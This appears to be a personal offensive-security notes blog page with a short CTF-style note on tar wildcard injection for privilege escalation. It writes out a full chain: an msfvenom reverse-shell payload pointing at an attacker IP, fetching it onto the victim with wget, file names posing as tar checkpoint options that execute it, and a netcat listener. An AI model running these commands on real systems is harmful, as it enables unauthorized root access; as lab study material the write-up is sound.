boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Manipulating tar Wildcards

NOTE: tar commands that run with a wildcard (*) can be manipulated.

In this scenario, a file at cat /usr/local/bin/compress.sh contains a tar command that ends with (*). GTFOBins shows that tar has a command-line option to run other commands as part of its checkpoint feature.

Build a reverse shell with msfvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f elf -o shell.elf

Serve it from the directory where it was created: python3 -m http.server 8000.

Pull it down on the victim box: wget http://10.13.28.215:8000/shell.elf.

Make it executable: chmod +x shell.elf.

Implement Custom Checkpoints

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Start a listener on the attack box: nc -lvnp 1337.

ROOT